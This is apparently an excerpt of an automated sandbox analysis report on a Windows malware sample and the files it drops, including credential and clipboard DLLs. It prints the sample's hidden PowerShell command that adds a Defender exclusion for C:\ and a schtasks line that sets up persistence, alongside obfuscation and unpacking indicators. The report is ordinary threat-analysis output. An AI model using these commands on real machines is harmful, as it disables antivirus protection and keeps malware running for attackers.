Source: Binary string: ntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdbi source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: C:\Users\Spaso\Documents\SuperSonicMaster\SuperSonicMaster\obj\x64\Release\SuperSonicMaster.pdb source: OpenWith.exe, 00000002.00000003.1977606668.000002427DA81000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977509222.000002427DD2B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027404955.0000018E5F34A000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027486844.0000018E5F5A0000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, Runtime.cs .Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, Runtime.cs .Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, Runtime.cs .Net Code: CoreMain
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\B88B.exe Code function: 15_2_0030FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 15_2_0030FA0A
PE file contains sections with non-standard names
Source: e7CLP6462y.exe Static PE information: section name: .textbss
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042CC52 push dword ptr [edx+ebp+3Bh]; retf 0_3_0042CC5F
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042AAF4 pushad ; retf 0_3_0042AB03
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042B285 push F693B671h; retf 0_3_0042B28A
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042BF48 push es; ret 0_3_0042BF49
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_00427F4E push eax; retf 0_3_00427F4F
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042916F push ecx; iretd 0_3_0042917B
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042B57C push esi; ret 0_3_0042B580
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042912F pushad ; ret 0_3_00429137
Source: C:\Users\user\Desktop\e7CLP6462y.exe Code function: 0_3_0042ADCE push edi; iretd 0_3_0042ADD5
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B45CD2 push dword ptr [edx+ebp+3Bh]; retf 1_3_02B45CDF
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B43E4E push edi; iretd 1_3_02B43E55
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B421AF pushad ; ret 1_3_02B421B7
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B445FC push esi; ret 1_3_02B44600
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B421EF push ecx; iretd 1_3_02B421FB
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B40FCE push eax; retf 1_3_02B40FCF
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B44FC8 push es; ret 1_3_02B44FC9
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B44305 push F693B671h; retf 1_3_02B4430A
Source: C:\Windows\SysWOW64\dialer.exe Code function: 1_3_02B43B74 pushad ; retf 1_3_02B43B83
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ED9D1E push esi; retf 000Ah 2_3_00007DF486ED9D1F
Source: C:\Windows\System32\OpenWith.exe Code function: 2_3_00007DF486ED4CA0 push edx; ret 2_3_00007DF486ED4CAB
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00402EE1 push 000000C3h; ret 11_2_00402FFC
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00402A47 push ebx; ret 11_2_00402A53
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00401503 push edi; ret 11_2_00401530
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00402A1F push ebx; ret 11_2_00402A22
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Code function: 11_2_00402A2C push ebx; ret 11_2_00402A3E
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00402EE1 push 000000C3h; ret 13_2_00402FFC
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00402A47 push ebx; ret 13_2_00402A53
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00401503 push edi; ret 13_2_00401530
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00402A1F push ebx; ret 13_2_00402A22
Source: C:\Users\user\AppData\Roaming\utihrjr Code function: 13_2_00402A2C push ebx; ret 13_2_00402A3E
Source: C:\Users\user\AppData\Local\Temp\B677.exe Code function: 14_3_0042CC52 push dword ptr [edx+ebp+3Bh]; retf 14_3_0042CC5F
Drops PE files
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\B88B.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\utihrjr Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe File created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B88B.exe File created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\B677.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe File created: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe File created: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\utihrjr Jump to dropped file

Boot Survival
barindex
Creates an undocumented autostart registry key
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F

Hooking and other Techniques for Hiding and Protection
barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\utihrjr:Zone.Identifier read attributes | delete Jump to behavior
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\e7CLP6462y.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\OpenWith.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
